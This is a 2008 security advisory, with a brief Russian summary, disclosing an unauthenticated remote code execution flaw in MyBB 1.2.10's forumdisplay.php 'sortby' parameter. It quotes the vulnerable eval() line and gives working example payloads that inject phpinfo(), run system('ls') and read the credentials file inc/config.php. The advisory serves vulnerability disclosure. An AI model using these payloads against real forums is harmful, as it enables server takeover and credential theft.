Программа: MyBulletinBoard (MyBB) 1.2.10 Уязвимость позволяет удаленному пользователю выполнить произвольные команды на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных сценарием forumdisplay.php. Удаленный пользователь может выполнить произвольные команды на целевой системе.
[waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10
===============================================================================
Author: Janek Vind "waraxe"
Independent discovery: koziolek
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-61.html
Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.
Vulnerabilities discovered
===============================================================================
1. Remote Code Execution in "forumdisplay.php":
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Precondition: valid forum "fid" must be known.
Attacker doesn't need to have any privileges in mybb installation to be
successful in attack.
Proof-Of-Concept request:
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='
... and we will see error message:
Parse error: syntax error, unexpected ''', expecting ']' in
C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()'d code on line 1
Problematic piece of code is related to "eval()" function:
eval("\$orderarrow['$sortby'] = \"".
$templates->get("forumdisplay_orderarrow")."\";");
Example attacks:
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];readfile('inc/config.php');exit;//